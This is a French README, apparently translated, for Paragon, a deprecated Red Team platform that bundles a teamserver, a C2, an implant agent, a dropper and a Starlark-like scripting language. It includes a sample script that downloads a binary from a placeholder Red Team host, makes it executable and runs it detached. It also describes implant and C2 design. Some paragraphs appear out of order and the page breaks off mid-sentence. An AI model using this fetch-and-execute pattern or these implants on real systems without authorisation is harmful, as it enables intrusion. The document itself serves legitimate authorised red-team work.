kcarretto/paragonPlateforme d'engagement Red Team visant à unifier les outils offensifs derrière une interface utilisateur simple.
Ce projet a été déprécié, veuillez vous référer à notre nouveau projet Realm, qui s'appuie sur de nombreuses idées que nous avions lors de la construction de ce dépôt.
Paragon est une plateforme d'engagement Red Team. Elle vise à unifier les outils offensifs derrière une interface utilisateur simple, en abstraisant une grande partie du travail backend pour permettre aux opérateurs de se concentrer sur l'écriture d'implants et de passer moins de temps à s'inquiéter des bases de données et du CSS. Le dépôt fournit également quelques outils offensifs déjà intégrés à Paragon qui peuvent être utilisés lors des engagements.
Ce dépôt est encore en développement intense et n'est pas prêt pour une utilisation en production. Lorsqu'il sera considéré comme stable, un tag V1.0.0 sera publié. Jusque-là, l'API pourra subir des changements cassants alors que nous simplifions continuellement notre conception. Veuillez lire la documentation développeur ci-dessous si vous souhaitez nous aider à atteindre ce jalon plus rapidement.
Une instance de démonstration rapide peut être configurée en clonant le dépôt et en exécutant docker-compose up. Ouvrez 127.0.0.1:80 dans votre navigateur pour commencer !
Les images utilisées sont disponibles sur docker-hub, et peuvent être configurées à partir d'un fichier docker-compose pour un déploiement en production.
La plupart des composants de ce dépôt reposent sur un langage de script de type Python qui permet un contrôle puissant et une personnalisation de leur comportement. Le langage est une version modifiée de Starlark de Google, étendu avec des fonctionnalités multiplateformes pour les opérateurs. Cela permet également aux outils comme l'agent et le dropper (discutés ci-dessous) d'exécuter des tâches sans dépendre des binaires système (curl, bash, etc.). Toutes les opérations sont exécutées sous forme de code en Go, ce qui rend intuitif l'ajout de fonctionnalités supplémentaires à l'environnement de script. Voici un exemple de script :
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Fournit une application web simple et une API GraphQL pour interfacer avec un graphe de connaissances Red Team, unifiant les outils derrière une source de vérité centralisée et abstraisant de nombreuses préoccupations backend fastidieuses pour les opérateurs. Intégrez vos outils personnalisés avec le Teamserver (via l'API GraphQL ou les abonnements aux événements) pour gagner du temps sur le travail backend. Le Teamserver enregistre toute l'activité, donc avec tous vos outils unifiés en un seul endroit, la rédaction de rapports post-engagement devient beaucoup plus facile.
Les outils ci-dessous sont également inclus dans le dépôt. Ils peuvent facilement être étendus pour s'adapter à de nombreux cas d'utilisation multiplateformes.
Paragon fournit un outil pour empaqueter des ressources (binaires, scripts, etc.) en un seul binaire qui, lorsqu'il est exécuté, exécutera votre script de déploiement personnalisé pouvant écrire des ressources sur le système de fichiers, lancer des processus, télécharger des fichiers, gérer les erreurs, etc. Il est entièrement multiplateforme et compilé statiquement, offrant des déploiements fiables. Si vous souhaitez étendre ses fonctionnalités, vous pouvez simplement étendre le fichier Go généré avant la compilation.
Un implant qui exécute des tâches et rapporte les résultats d'exécution. Il est configuré par défaut pour exécuter des tâches en utilisant le langage de script de type Python de Paragon et pour communiquer avec un C2 via http(s). Il est écrit en Go et peut être rapidement modifié pour ajouter de nouvelles méthodes de transport (par exemple, DNS), des options d'exécution, une logique de basculement, etc.
Agit comme intermédiaire entre l'Agent et le Teamserver. Il gère les rappels d'agents pour divers mécanismes de communication et lui fournit de nouvelles tâches depuis la file d'attente du teamserver.
Au lieu d'attendre un rappel, certaines situations peuvent nécessiter une connexion directe pour exécuter rapidement une tâche et voir son résultat. Le runner y parvient en s'abonnant aux files d'attente de tâches et en établissant une connexion à la machine cible (par exemple en utilisant SSH). Cela permet aux intégrations de type shell d'utiliser la même interface que les implants et les C2. Cela permet également de réaliser le déploiement initial de l'implant via cette interface.
Surveillez l'activité réseau cible et les services visibles. Cartographiez un graphe du réseau d'engagement et déclenchez une automatisation lors de changements d'état (par exemple, SSH devient disponible).
Définir la variable d'environnement killswitch PG_KS_MachineUUID pour le teamserver désactivera les recherches qui utilisent les UUID de machine.
Pour assurer une communication claire sur ces systèmes complexes, nous avons défini ci-dessous quelques termes spécifiques au projet qui seront utilisés dans toute la documentation du projet.
Tout logiciel malveillant qui sera exécuté sur des systèmes compromis pendant l'engagement.
Opérations souhaitées à exécuter sur un système compromis spécifique. Les tâches fournissent des instructions d'exécution aux implants, mais leur syntaxe/structure peut être totalement spécifique à un outil.
Un implant qui reçoit des tâches du teamserver, les exécute et rapporte leurs résultats. Une implémentation par défaut extensible est incluse dans ce dépôt, qui nécessite que les tâches soient fournies sous forme de scripts écrits en utilisant le DSL de type Python du projet.
Demande au Teamserver d'effectuer un ensemble d'opérations données. Lors de la création d'un job, les instructions seront sauvegardées mais pas exécutées. L'utilisateur peut demander au Teamserver d'exécuter un job zéro ou plusieurs fois en le mettant en file d'attente et en fournissant les paramètres requis. Les jobs ne peuvent jamais être mis à jour, mais de nouvelles versions de jobs peuvent être créées pour éviter un copier-coller excessif.
Un cas d'usage courant pour un Job est lorsque l'utilisateur souhaite exécuter un script sur quelques cibles. L'utilisateur crée un job, qui demande au teamserver de créer des tâches avec le contenu fourni, mais laisse les machines cibles souhaitées comme paramètre. Lorsque le job est mis en file d'attente, l'utilisateur fournit une liste de machines cibles comme paramètre, et le Teamserver créera une tâche pour chaque machine.
Ci-dessous sert de référence initiale et brève pour le développement de Paragon. Plus de documentation peut être trouvée dans les godocs des packages ou en lisant du code :) Après avoir finalisé certaines décisions de conception (bien avant d'atteindre v1), un gel du code aura lieu jusqu'à ce que toute la documentation ait été mise à jour et organisée de manière appropriée.
Remote - Containers fournie par Microsoft est requise pour commencer.Après avoir installé les prérequis listés ci-dessus, vous pourrez commencer en un rien de temps. Clonez simplement le dépôt et ouvrez-le dans VSCode. Il vous sera demandé d'ouvrir le code source dans un conteneur de développement, qui a été configuré avec toutes les dépendances du projet et les outils de développement dont vous aurez besoin. Si cette option n'apparaît pas pour vous, ouvrez la palette de commandes et exécutez > Remote-Containers: Open Folder In Container qui devrait démarrer le conteneur pour vous. Si c'est la première fois que vous lancez le conteneur, le téléchargement peut prendre un certain temps... alors prenez un café ^_^
Ci-dessous un aperçu de la structure du projet et où se trouve chaque composant. Si cela devient obsolète, n'hésitez pas à soumettre un problème pour le signaler ou de préférence une PR pour le corriger. La base de code est configurée comme un monorepository, ce qui nous permet de profiter d'outils de développement partagés, de standardisation, etc., tout en évitant des conflits de version compliqués.
| Folder | Use Case |
|---|---|
| .devcontainer | Configuration pour l'environnement de développement en conteneur VSCode. |
| .github | Configuration Github. |
| .stats | Un répertoire ignoré par git (que vous pouvez avoir ou non) pour stocker les résultats de profilage des performances. |
| ent | Définitions d'API liées au graphe utilisées par le teamserver. |
| graphql | Schéma GraphQL et code associé généré à partir d'ent. |
| cmd | Outils exécutables en ligne de commande et services. |
| dist | Un répertoire ignoré par git pour stocker les artefacts de build. |
| docker | Dockerfiles utilisés pour le déploiement d'exemple. |
| ent | Modèles et schémas de graphe utilisés par le teamserver (voir l'outil entgo de Facebook pour plus d'informations). |
| pkg | Bibliothèques publiques utilisées par les outils du dépôt mais aussi exposées au monde extérieur. |
| pkg/agent | Une abstraction pour créer facilement un implant ou un transport de communication. |
| pkg/c2 | Aides liées au service C2 et définitions de messages standardisées. |
| pkg/c2/proto | Spécification Protobuf pour définir un format de sérialisation standardisé pour la communication Agent <-> C2. |
| pkg/drop | Fournit une méthode simple utilisée par les payloads dropper compilés. |
| pkg/middleware | Middleware commun pour les services HTTP. |
| pkg/script | Langage de script de type Python pour la configuration dynamique, l'automatisation et l'exploitation multiplateforme. |
| pkg/script/stdlib | Bibliothèques standard qui exposent des fonctionnalités pour les environnements d'exécution de scripts. |
| pkg/teamserver | Aides liées au service Teamserver. |
| www | Contient l'application web principale hébergée par le teamserver. Créée par l'application create-react-app de Facebook. |
| www/src/components | Composants React réutilisables. |
| www/src/config | Configuration de l'application web et routage. |
| www/src/views | Conteneurs qui interrogent les données du Teamserver et composent les composants pour le rendu. |
Ci-dessous un aperçu de la relation entre les nœuds du graphe de connaissances Red Team géré par le Teamserver.
priorité de transport. Pour utiliser le vôtre, implémentez simplement l'interface agent.Sender et enregistrez votre transport lors de l'initialisation. Des exemples de transports existants peuvent être trouvés dans les sous-répertoires du package agent.
Par défaut, l'agent s'attend à ce que les tâches respectent la syntaxe Starlark et expose une bibliothèque standard pour que les scripts puissent l'utiliser. Pour modifier le comportement de l'exécution des tâches (par exemple, simplement des commandes bash), vous pouvez implémenter l'interface agent.Receiver pour exécuter les tâches comme vous le souhaitez.
L'environnement de script peut être personnalisé pour votre agent, vous permettant d'empaqueter facilement de nouvelles fonctionnalités pour que les scripts puissent les utiliser. Consultez script options pour apprendre comment étendre le moteur de script de l'agent.
Ci-dessous un diagramme de flux de l'exécution générale de l'implant agent.
L'agent est conçu pour être facilement personnalisé avec de nouveaux mécanismes de transport, multiplexant les communications basées sur
